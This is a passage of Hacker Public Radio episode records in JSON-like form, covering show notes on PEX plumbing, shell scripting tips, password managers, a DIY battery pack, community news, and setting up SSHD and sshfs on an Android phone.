                                                            Part 03 – PEX and the City (Ordinances) - How to make certain your installation meets code

                                                            \n

                                                            This will be a short episode, but a very important one.

                                                            \n

                                                            Since we have people from around the world who listen to Hacker Public Radio, I cannot begin to speculate what your local building codes allow or prohibit. In the majority of states within the United States of America, a property owner can perform plumbing maintenance on their own residence. Otherwise you need to be a licensed plumber. That may not be true for all states, and there can be inspections required and sometimes even fines for code violations.

                                                            \n

                                                            Rules also vary for where PEX can be installed, how and how frequently it must be supported, and whether the work must be inspected or whether it requires a permit.

                                                            \n

                                                            The point of this section is to remind you to do your research to find out what the rules are in your specific region, and then be sure to follow them. When in doubt, consult a licensed plumber in your area.

                                                            \n

                                                            Part 04 – PEX, Lies, and Silicone Tape – My installation experience part 1

                                                            \n

                                                            If you have missed the previous episodes in this series, I encourage you to review them before continuing because they will provide valuable context around my plumbing adventures.

                                                            \n
                                                              \n
                                                            1. Design – The best place to start.\n
                                                                \n
                                                              1. Option 1 – Follow existing pipe
                                                              2. \n
                                                              3. Option 2 – Install manifold valve system for greater control
                                                              4. \n
                                                              5. Replacing everything or connecting to existing pipe or fixtures?
                                                              6. \n
                                                            2. \n
                                                            3. Materials\n
                                                                \n
                                                              1. PEX-A –vs- PEX-B
                                                              2. \n
                                                              3. Decisions, decisions.
                                                              4. \n
                                                              5. PEX-B Wins
                                                              6. \n
                                                              7. Manifold
                                                              8. \n
                                                              9. Allows specific sections to be turned on and off independently
                                                              10. \n
                                                              11. Examples: https://www.supplyhouse.com/PEX-Manifolds-518000
                                                              12. \n
                                                              13. Connectors
                                                              14. \n
                                                              15. New Valves
                                                              16. \n
                                                              17. Transition connectors\n
                                                                  \n
                                                                1. To copper
                                                                2. \n
                                                                3. Sharkbite
                                                                4. \n
                                                                5. Solder
                                                                6. \n
                                                                7. To PVC
                                                                8. \n
                                                                9. Sharkbite
                                                                10. \n
                                                                11. Glue
                                                                12. \n
                                                                13. To main water line
                                                                14. \n
                                                                15. To/From Water heater
                                                                16. \n
                                                              18. \n
                                                              19. Silicone tape or pipe dope
                                                              20. \n
                                                              21. Hangers & Wall clamps
                                                              22. \n
                                                              23. Crimp rings
                                                              24. \n
                                                            4. \n
                                                            5. Tools\n
                                                                \n
                                                              1. Crimp tool
                                                              2. \n
                                                              3. Removal tool
                                                              4. \n
                                                              5. Sharkbite
                                                              6. \n
                                                              7. Depth gauge
                                                              8. \n
                                                              9. Removal tool
                                                              10. \n
                                                              11. Tape measure
                                                              12. \n
                                                              13. String / wire phish
                                                              14. \n
                                                            6. \n
                                                            7. Planning\n
                                                                \n
                                                              1. Most important step
                                                              2. \n
                                                              3. With proper planning you can reduce service outage
                                                              4. \n
                                                              5. Some steps can be done before shutting off water
                                                              6. \n
                                                              7. Access holes
                                                              8. \n
                                                              9. Running / connecting PEX sections
                                                              10. \n
                                                            8. \n
                                                            9. Assistance\n
                                                                \n
                                                              1. While an individual installer can redo a house with PEX, it is not ideal. If you can get another person to help, it will make the process go much easier.
                                                              2. \n
                                                            10. \n
                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, plumbing,PEX","version":0,"downloads":0,"valid":1}, {"id":3625,"date":"2022-06-24","title":"Shell Tips and Snippets - Collaborative Effort","duration":1225,"summary":"Carl and special guests provide some shell tips and examples.","notes":"

                                                            Carl talks about a method to move function definitions to the bottom of a script using sed:

                                                            \n
                                                            #!/bin/sh\nsource <(sed '1,/^exit/ d' $0)\n\n__say "hello"\n\nexit\n\n__say()\n{\n    echo $1\n}\n
                                                            \n

                                                            Guest Host #1 (scroll to the bottom to ruin the surprise) talks about the shift command using this example:

                                                            \n
                                                            startdate="$1" # Pick up date\nshift\ndays=0\n\n# Loop through args and create events\nwhile [ $1 ] ; do # as many times as you add a timestamp\n        [ $1 != "off" ] && khal new $(date -j -v+"$days"d -f %Y-%m-%d +%Y-%m-%d $startdate) $1 8H Work\n        let days++\n        shift\ndone\n
                                                            \n

                                                            Guest Host #2 provides tips and examples on how to use variables safely and politely provide default values. One example of assigning a default value is:

                                                            \n
                                                            foo=${foo:-"blah"}\n
                                                            \n

                                                            Carl then closes out with the : (colon) shell builtin and provides a variation on the above default value:

                                                            \n
                                                            : ${foo:="blah"}\n
                                                            \n","hostid":380,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"shell","version":0,"downloads":0,"valid":1}, {"id":3626,"date":"2022-06-27","title":"The stuff Evil Steve doesn't want you to know S01E06: Use a Password Manager","duration":1100,"summary":"Making ourselves a less attractive target by utilizing a password manager.","notes":"

                                                            The stuff Evil Steve doesn't want you to know with Lurking Prion. This is Season 1, Episode 6. Picking up from the last episode, we are now delving in to the security measures we can implement to make ourselves a less attractive for Evil Steve. After implementing 2FA, we should now be setting up and using a password manager. Then we look for and changed passwords involved in known breaches (haveibeenpwned - link in show notes). The show is approximately 19 minutes long.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity, security, 2FA, EvilSteve, password manager ,password, breach","version":0,"downloads":0,"valid":1}, {"id":3627,"date":"2022-06-28","title":"Only Key Duo","duration":982,"summary":"I talk about my new Hardware password manager","notes":"

                                                            https://onlykey.io/products/onlykey-duo-dual-usb-c-and-usb-a-security-key

                                                            \n

                                                            set __COMPAT_LAYER=RUNASINVOKER example usage

                                                            \n

                                                            https://github.com/freeload101/SCRIPTS/blob/704689e4febf164008089ecaf192cf03dde752c3/AutoHotkey/AutoHotkey.bat#L65

                                                            \n

                                                            My post about ghosting your backers:
                                                            \nhttps://onlykey.discourse.group/t/onlykey-duo-hello/643

                                                            \n

                                                            https://twitter.com/operat0r/status/1511475178345222145

                                                            \n","hostid":36,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"passwords,password managers,Hardware Security","version":0,"downloads":0,"valid":1}, {"id":3628,"date":"2022-06-29","title":"Building a Mobile Computer Battlestation: Extended Power Supply","duration":1235,"summary":"Mobile computer Battlestation part 1; 16 cell power supply and BMS","notes":"

                                                            At the end, I am a little disappointed in the performance. One of the cell banks was discharging quicker than the others, but I replaced it and it is much more efficient now.

                                                            \n

                                                            All the cells were salvaged from old laptops.

                                                            \n

                                                            Figure 0.1
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 0.2
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 0.3
                                                            \n\"Figure

                                                            \n

                                                            Figure 1
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 2.0
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 2.1
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 2.2
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 2.3
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 3
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 4
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 5
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 6
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 7
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 8
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 9
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 10
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 11.0
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 11.1
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 12.0
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n

                                                            Figure 12.1
                                                            \n\"Figure
                                                            Click the thumbnail to see the full-sized image

                                                            \n","hostid":401,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"computer,mobile,bms,power","version":0,"downloads":0,"valid":1}, {"id":3629,"date":"2022-06-30","title":"Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosion","duration":4365,"summary":"An interview with Eric Rescorla (Firefox CTO) on Browsers, the Internet and hard-core sci-fi","notes":"

                                                            \nIn this episode, Martin and Chris interview Eric Rescorla, the CTO of Firefox at Mozilla. After\ndiscussing the weather situation in the Kingdom formerly known as the UK, our two aging heros\ngo right into browsers, programming languages, the Mozilla ecosystem and internet history and future\nalike. This episode again is not for the faint-hearted as none of the gory details are spared: We learn about Chris' t-shirt situation (and how you can kidnap apparel), why Google is so sucessful, data privacy and Internet monetization. Never mind rendering engines. Plus: more Rust marketing (Rebecca Rumbul: Take note :-). \n

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":384,"series":111,"explicit":1,"license":"CC-BY-SA","tags":"Firefox, rendering engines, Mozilla (Foundation and Corporation), Peter Watt, Rust","version":0,"downloads":0,"valid":1}, {"id":3630,"date":"2022-07-01","title":"Planning an RV Trip","duration":1150,"summary":"Tools and suggestions for planning a long RV trip.","notes":"

                                                            This begins our series about our RV trip by looking at the planning process. We give a suggestion for a nice online course that is not too expensive, and offer some tips on using Google Maps in planning your trip.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":119,"explicit":0,"license":"CC-BY-SA","tags":"Travel, trip planning, Google Maps","version":0,"downloads":0,"valid":1}, {"id":3631,"date":"2022-07-04","title":"HPR Community News for June 2022","duration":7033,"summary":"HPR Volunteers talk about shows released and comments posted in June 2022","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            3608Wed2022-06-01Battling with English - part 5Dave Morriss
                                                            3609Thu2022-06-02Linux Inlaws S01E57: Operating System Level Virtualisation and Martin's Faithmonochromec
                                                            3610Fri2022-06-03DOS Wildcards; File AttributesAhuka
                                                            3611Mon2022-06-06HPR Community News for May 2022HPR Volunteers
                                                            3612Tue2022-06-07Who is Evil Steve? Part 2Lurking Prion
                                                            3613Wed2022-06-08Man buys cheap Adirondack chairdnt
                                                            3614Thu2022-06-09Everything You Always Wanted to Know About PEX Part 02- The Joy of PEX - What is it and how is it usTrey
                                                            3615Fri2022-06-10I am a troll and I'm trolling HPR, trolling HPR, trolling HPR.Ken Fallon
                                                            3616Mon2022-06-13Filling free Slots from the Reserve QueueDave Morriss
                                                            3617Tue2022-06-14admin admin S01E05: To Do List - 2FALurking Prion
                                                            3618Wed2022-06-15The nnn terminal file managerArcher72
                                                            3619Thu2022-06-16Linux Inlaws S01E58: Kubernetes and Friends and Sarahmonochromec
                                                            3620Fri2022-06-17Photo storage, backups, and workflowAhuka
                                                            3621Mon2022-06-20Watching YouTube in 2022Dave Morriss
                                                            3622Tue2022-06-21My Network Setup.Some Guy On The Internet
                                                            3623Wed2022-06-22Internet Security - Child EditionLurking Prion
                                                            3624Thu2022-06-23Everything You Always Wanted to Know About PEX Parts 3 & 4Trey
                                                            3625Fri2022-06-24Shell Tips and Snippets - Collaborative EffortCarl
                                                            3626Mon2022-06-27The stuff Evil Steve doesn't want you to know S01E06: Use a Password ManagerLurking Prion
                                                            3627Tue2022-06-28Only Key Duooperat0r
                                                            3628Wed2022-06-29Building a Mobile Computer Battlestation: Extended Power SupplyMechatroniac
                                                            3629Thu2022-06-30Linux Inlaws S01E59: The Show with Red Pandas Mosaic Killers and Metal Corrosionmonochromec
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 25 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n
                                                              \n
                                                            • hpr3531\n(2022-02-14) \"Barrier: Software KVM\"\nby Windigo.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nKen Fallon on 2022-06-30:\n\"Excellent !\"

                                                              \n
                                                            • hpr3606\n(2022-05-30) \"Infinity is just a big number and other proofs\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKevin O'Brien on 2022-06-01:\n\"Not like me\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 23 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr3608\n(2022-06-01) \"Battling with English - part 5\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nStache_AF on 2022-06-01:\n\"The Eggcorn That Gets Me\"
                                                              • Comment 2:\nWindigo on 2022-06-01:\n\"Eggcorns\"
                                                              • Comment 3:\nDave Morriss on 2022-06-01:\n\"Champing and chomping\"
                                                              • Comment 4:\nDave Morriss on 2022-06-01:\n\"A robot did it and ran away\"

                                                              \n
                                                            • hpr3609\n(2022-06-02) \"Linux Inlaws S01E57: Operating System Level Virtualisation and Martin's Faith\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2022-06-22:\n\"Unite Germany and Russia\"

                                                              \n
                                                            • hpr3613\n(2022-06-08) \"Man buys cheap Adirondack chair\"\nby dnt.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-06-08:\n\"Adirondack chairs\"
                                                              • Comment 2:\ndnt on 2022-06-08:\n\"Re: Adirondack chairs\"

                                                              \n
                                                            • hpr3615\n(2022-06-10) \"I am a troll and I'm trolling HPR, trolling HPR, trolling HPR.\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2022-06-10:\n\"Disappointing\"
                                                              • Comment 2:\nFXB on 2022-06-12:\n\"A Troll is a Troll.\"
                                                              • Comment 3:\nMechatroniac on 2022-06-13:\n\"fucking bullshit\"

                                                              \n
                                                            • hpr3617\n(2022-06-14) \"admin admin S01E05: To Do List - 2FA\"\nby Lurking Prion.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nStache_AF on 2022-06-14:\n\"Google Authenticator\"
                                                              • Comment 2:\nLurking Prion on 2022-06-15:\n\"Google Authenticator Improvements\"
                                                              • Comment 3:\nSome Guy On The Internet on 2022-06-18:\n\"I agree.\"
                                                              • Comment 4:\nLurkingPrion on 2022-06-22:\n\"No Security..?\"
                                                              • Comment 5:\none_of_spoons on 2022-06-26:\n\"Two factor authentication : \"andOTP\"\"

                                                              \n
                                                            • hpr3619\n(2022-06-16) \"Linux Inlaws S01E58: Kubernetes and Friends and Sarah\"\nby monochromec.
                                                            • \n
                                                            • \n
                                                              \n
                                                            • hpr3620\n(2022-06-17) \"Photo storage, backups, and workflow\"\nby Ahuka.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nSome Guy On The Internet on 2022-06-18:\n\"Great Show\"
                                                              • Comment 2:\nKevin O'Brien on 2022-06-18:\n\"Glad I could help\"

                                                              \n
                                                            • hpr3621\n(2022-06-20) \"Watching YouTube in 2022\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMechatroniac on 2022-06-22:\n\"Youtube is no good anymore\"
                                                              • Comment 2:\nMechatroniac on 2022-06-23:\n\"Mr Teslonian\"

                                                              \n
                                                            • hpr3624\n(2022-06-23) \"Everything You Always Wanted to Know About PEX Parts 3 & 4\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nMr. Young on 2022-06-26:\n\"Unexpected relevance\"

                                                              \n
                                                            • hpr3625\n(2022-06-24) \"Shell Tips and Snippets - Collaborative Effort\"\nby Carl.
                                                            • \n
                                                            • \n
                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-June/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Publishing code for the HPR site

                                                            \n

                                                            The question came up during the month - is the HPR site code open source, and if so where is it?

                                                            \n

                                                            Older HPR shows on archive.org, phase 2

                                                            \n

                                                            Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform. We are reprocessing and re-uploading shows in the range 871 to 2429 as explained in the Community News show notes released in May 2022. We are keeping a running total here to show progress:

                                                            \n
                                                              \n
                                                            • Re-uploads done so far: 431
                                                            • \n
                                                            • Shows remaining to be done: 1128
                                                            • \n
                                                            • Shows uploaded by last Community News recording: 271
                                                            • \n
                                                            • Shows added since last recording: 160
                                                            • \n
                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":3632,"date":"2022-07-05","title":"Intro to web scraping with Python","duration":1915,"summary":"Using requests and Beautiful Soup to scrape websites","notes":"

                                                            A beginner introduction to web scraping with Python.

                                                            \n","hostid":78,"series":25,"explicit":0,"license":"CC-BY-SA","tags":"python, web, internet","version":0,"downloads":0,"valid":1}, {"id":3633,"date":"2022-07-06","title":"The collective history of RAID controller brands","duration":821,"summary":"Computer memory is a generic term for all of the different types of data storage technology that a c","notes":"

                                                            https://www.enterprisestorageforum.com/hardware/types-of-computer-memory/

                                                            \n","hostid":129,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"memory, sdram,ddr, dram, ssd, hhd","version":0,"downloads":0,"valid":1}, {"id":3634,"date":"2022-07-07","title":"Everything You Always Wanted to Know About PEX Part 05 - PEX and the Single Installer","duration":1667,"summary":"My PEX installation experience part 2","notes":"

                                                            Everything You Always Wanted to Know About PEX

                                                            \n

                                                            Part 05– PEX and the Single Installer – My PEX installation experience part 2

                                                            \n

                                                            Pulling PEX

                                                            \n
                                                              \n
                                                            1. Much like pulling thick wire\n
                                                                \n
                                                              1. My method\n
                                                                  \n
                                                                1. Used fish tape to pull mason's line
                                                                2. \n
                                                                3. Tied mason's line to PEX about 4 inches from end.
                                                                4. \n
                                                                5. Taped above & below with electrical tape
                                                                6. \n
                                                                7. Then tied line again closer to the end of PEX.
                                                                8. \n
                                                                9. Wrapped again with electrical tape
                                                                10. \n
                                                              2. \n
                                                              3. Pull extra
                                                              4. \n
                                                              5. Unroll and let it lay straight for 24 hours if \"curve memory\" is a problem
                                                              6. \n
                                                              7. Can be challenging and require an individual installer to go back and forth between the feed point and the pull point.
                                                              8. \n
                                                            2. \n
                                                            3. Supporting PEX\n
                                                                \n
                                                              1. 1\" and smaller PEX must be supported horizontally every 32 inches
                                                              2. \n
                                                              3. Vertically, it must be supported at every floor and midway between floors (every 4-6 feet)
                                                              4. \n
                                                              5. https://www.pexuniverse.com/providing-proper-support-long-runs-pex-tubing
                                                              6. \n
                                                              7. Can be challenging to hold in place until secured
                                                              8. \n
                                                              9. Zip ties are your friend!
                                                              10. \n
                                                            4. \n
                                                            5. Using a manifold\n
                                                                \n
                                                              1. Determine your needs
                                                              2. \n
                                                              3. Number of hot and cold outputs
                                                              4. \n
                                                              5. Valve type\n
                                                                  \n
                                                                1. Handled
                                                                2. \n
                                                                3. Wrench/key
                                                                4. \n
                                                              6. \n
                                                              7. Find a location with
                                                              8. \n
                                                              9. Easy access
                                                              10. \n
                                                              11. Fairly central to avoid long delays for hot water
                                                              12. \n
                                                              13. Limited light exposure
                                                              14. \n
                                                              15. Build or buy?
                                                              16. \n
                                                              17. Costs
                                                              18. \n
                                                              19. Appearance
                                                              20. \n
                                                              21. Materials
                                                              22. \n
                                                              23. Securing manifold in place
                                                              24. \n
                                                              25. Anchor securely\n
                                                                  \n
                                                                1. Block wall with anchors
                                                                2. \n
                                                                3. To wood for spanning wall studs (I don't know why I kept saying \"Joist\" during the recording)
                                                                4. \n
                                                                5. Do not anchor to drywall
                                                                6. \n
                                                              26. \n
                                                              27. Insulate from wall if needed
                                                              28. \n
                                                            6. \n
                                                            7. Connecting to the main line\n
                                                                \n
                                                              1. What to replace and what to use
                                                              2. \n
                                                              3. Size matters
                                                              4. \n
                                                              5. Plan to include manifold if needed
                                                              6. \n
                                                            8. \n
                                                            9. Connecting to water heater\n
                                                                \n
                                                              1. Where/how to connect
                                                              2. \n
                                                              3. Pipe Unions?
                                                              4. \n
                                                              5. Protect from heat
                                                              6. \n
                                                              7. Shut-off valve
                                                              8. \n
                                                              9. Expansion tank
                                                              10. \n
                                                              11. Silicon tape or pipe dope
                                                              12. \n
                                                            10. \n
                                                            11. Connecting to endpoints\n
                                                                \n
                                                              1. What to keep and what to replace
                                                              2. \n
                                                              3. Transition connectors
                                                              4. \n
                                                              5. SharkBite
                                                              6. \n
                                                              7. Solder
                                                              8. \n
                                                              9. Thread
                                                              10. \n
                                                              11. Glue
                                                              12. \n
                                                            12. \n
                                                            13. Exterior hose taps\n
                                                                \n
                                                              1. Reuse or replace?
                                                              2. \n
                                                              3. Frost free / anti-siphon
                                                              4. \n
                                                              5. Anchor securely
                                                              6. \n
                                                              7. Help is better!
                                                              8. \n
                                                            14. \n
                                                            15. Turning it on!\n
                                                                \n
                                                              1. If using a manifold turn on one section at a time, from the bottom up
                                                              2. \n
                                                              3. Open sink valves
                                                              4. \n
                                                              5. Ease it on a little at a time
                                                              6. \n
                                                              7. Then increase flow
                                                              8. \n
                                                              9. Turn off sink tap (Slowly) to let pressure build
                                                              10. \n
                                                              11. Keep watching for leaks
                                                              12. \n
                                                              13. Coordinate with a partner and communicate (cell phone?)
                                                              14. \n
                                                            16. \n
                                                            17. Afterwards\n
                                                                \n
                                                              1. Cover any PEX exposed to light
                                                              2. \n
                                                              3. Watch for leaks
                                                              4. \n
                                                              5. Repair holes
                                                              6. \n
                                                              7. Run water daily to flush out bad taste
                                                              8. \n
                                                              9. Inspection?
                                                              10. \n
                                                            18. \n
                                                            \n","hostid":394,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"diy, plumbing,PEX","version":0,"downloads":0,"valid":1}, {"id":3635,"date":"2022-07-08","title":"A short podcast on a nice tool called system-monitoring-center","duration":243,"summary":"This is a short podcast on a nice tool called system-monitoring-center","notes":"

                                                            GitHub repo where you can find system-monitoring-center:
                                                            \nhttps://github.com/hakandundar34coding/system-monitoring-center

                                                            \n","hostid":369,"series":23,"explicit":0,"license":"CC-BY-SA","tags":"system-monitoring-center, linux","version":0,"downloads":0,"valid":1}, {"id":3636,"date":"2022-07-11","title":"The Importance of Data Reduction","duration":2349,"summary":"I have a discussion about data reduction with special guest and author, R. Brady Frost","notes":"

                                                            The stuff Evil Steve doesn't want you to know with Lurking Prion. This is Season 1, Episode 7.

                                                            \n

                                                            In this episode, I have a discussion about data reduction with special guest and author, R. Brady Frost. The discussion revolves around the security risk of keeping too much data available, and things that can be done to mitigate those risks.

                                                            \n

                                                            Pics of the week:

                                                            \n\n

                                                            Links:

                                                            \n\n","hostid":405,"series":74,"explicit":1,"license":"CC-BY-SA","tags":"cybersecurity,security,EvilSteve,breach,data reduction,privacy","version":0,"downloads":0,"valid":1}, {"id":3637,"date":"2022-07-12","title":"HPR feed to Sqlite","duration":454,"summary":"First step in creating a static copy of HPR","notes":"
                                                              \n
                                                            • Mailing list discussion - Source Code for the HPR website\n
                                                                \n
                                                              • What are the best ways to reproduce the HPR site using a static site generator.
                                                              • \n
                                                              • I would like the DB to be made public, but I understand why that may not be possible
                                                              • \n
                                                            • \n
                                                            \n

                                                            One interesting thing I read during the discussion is Ken said Every thing needed to recreate an HPR site is in the feed

                                                            \n
                                                              \n
                                                            • Challenge accepted\n
                                                                \n
                                                              • A lot of my toy projects have been around RSS and podcasts
                                                              • \n
                                                              • I am working on a Episode describing a project I did looking for podcasts that have podfaded.
                                                              • \n
                                                              • I starting thinking about what data is in the feed and thinking through a process for using the RSS data to recreate the HPR site
                                                              • \n
                                                            • \n
                                                            • Project\n
                                                            • \n
                                                            • DATA pulled directly from feed\n
                                                                \n
                                                              • explicit

                                                              • \n
                                                              • title

                                                              • \n
                                                              • author_name

                                                              • \n
                                                              • author_email

                                                              • \n
                                                              • link

                                                              • \n
                                                              • description

                                                              • \n
                                                              • summary - I think this is the same as description

                                                              • \n
                                                              • pubdate

                                                              • \n
                                                              • enclosures

                                                              • \n
                                                              • Episode ID - extracted from title - HPR2341

                                                              • \n
                                                              • feedparser and peewee

                                                              • \n
                                                              • full feed to SQLite specs

                                                                \n
                                                                  \n
                                                                • 40 Seconds on My Machine
                                                                • \n
                                                                • 20M hpr.sqlite
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Notably Missing from the RSS feeds\n
                                                                \n
                                                              • Episode Series
                                                              • \n
                                                              • Episode Tags
                                                              • \n
                                                            • \n
                                                            • Next steps\n
                                                                \n
                                                              • markdown from db info\n
                                                                  \n
                                                                • Main page
                                                                • \n
                                                                • Corespondent pages
                                                                • \n
                                                                • Episode pages
                                                                • \n
                                                                • comments from comments feed
                                                                • \n
                                                              • \n
                                                              • Manually build other markdown for static pages
                                                              • \n
                                                              • about, contributing, ...
                                                              • \n
                                                              • Static site generator
                                                              • \n
                                                              • I don't think the tags are in the feed data
                                                              • \n
                                                            • \n
                                                            \n
                                                            git clone https://gitlab.com/norrist/hprfeed2db\ncd hprfeed2db/\npython3 -m venv venv\nsource venv/bin/activate\npip install feedparser peewee\npython data_models.py\npython feed.py\nsqlite3 hpr.sqlite "select count(*) from episode"
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"python, rss, sqlite","version":0,"downloads":0,"valid":1}, {"id":3638,"date":"2022-07-13","title":"Ken drops a bear on his android phone","duration":316,"summary":"How to enable sftp using a sshd server on android/lineageos","notes":"

                                                            I have previously used https://f-droid.org/en/packages/org.primftpd/ to enable sftp to my android phone

                                                            \n

                                                            For more information on How to mount remote storage using sshfs, see hpr1944 :: sshfs - Secure SHell FileSystem

                                                            \n

                                                            Also you will need to know about some useful tools for working with Android Devices hpr3515 :: ADB and scrcpy

                                                            \n

                                                            \"simplesshd-icon\"

                                                            \n

                                                            I found https://www.galexander.org/software/simplesshd/

                                                            \n

                                                            SimpleSSHD is an SSH2 server based on dropbear that supports scp, sftp, and rsync. It only supports public-key based authentication (no password/interactive auth except for bootstrapping). It does not use root, which means it must listen on a port over 1024 (defaults to port 2222).

                                                            \n

                                                            Install from fdroid

                                                            \n

                                                            https://f-droid.org/en/packages/org.galexander.sshd

                                                            \n

                                                            \"Start

                                                            \n

                                                            \"Changing

                                                            \n

                                                            \"Changing

                                                            \n

                                                            before

                                                            \n
                                                            \nlaptop$ adb root\nlaptop$ adb shell\nphone: # cd /data/user/0/org.galexander.sshd/files\nphone:/data/user/0/org.galexander.sshd/files # ls -al\ntotal 56\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\n-rw-rw-rw- 1 root    root     490 2022-06-17 12:05 authorized_keys\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\n
                                                            \n

                                                            Commands to run

                                                            \n
                                                            \nphone:/data/user/0/org.galexander.sshd/files # restorecon -F authorized_keys\nSELinux: Loaded file_contexts\nphone:/data/user/0/org.galexander.sshd/files # chmod 600 authorized_keys\nphone:/data/user/0/org.galexander.sshd/files # chown u0_a268:u0_a268 authorized_keys\n
                                                            \n

                                                            after

                                                            \n
                                                            \nphone:/data/user/0/org.galexander.sshd/files # ls -al\ntotal 56\ndrwxrwx--x 2 u0_a268 u0_a268 4096 2022-06-17 12:06 .\ndrwx------ 6 u0_a268 u0_a268 4096 2022-06-17 11:59 ..\n-rw------- 1 u0_a268 u0_a268  490 2022-06-17 12:05 authorized_keys\n-rw------- 1 u0_a268 u0_a268  475 2022-06-17 12:07 dropbear.err\n-rw------- 1 u0_a268 u0_a268  650 2022-06-17 12:03 dropbear.err.old\n-rw------- 1 u0_a268 u0_a268    6 2022-06-17 12:06 dropbear.pid\n-rw------- 1 u0_a268 u0_a268   83 2022-06-17 12:03 dropbear_ed25519_host_key\n\nlaptop$ sshfs -p 2222 192.168.1.123: /mnt/phone/\n
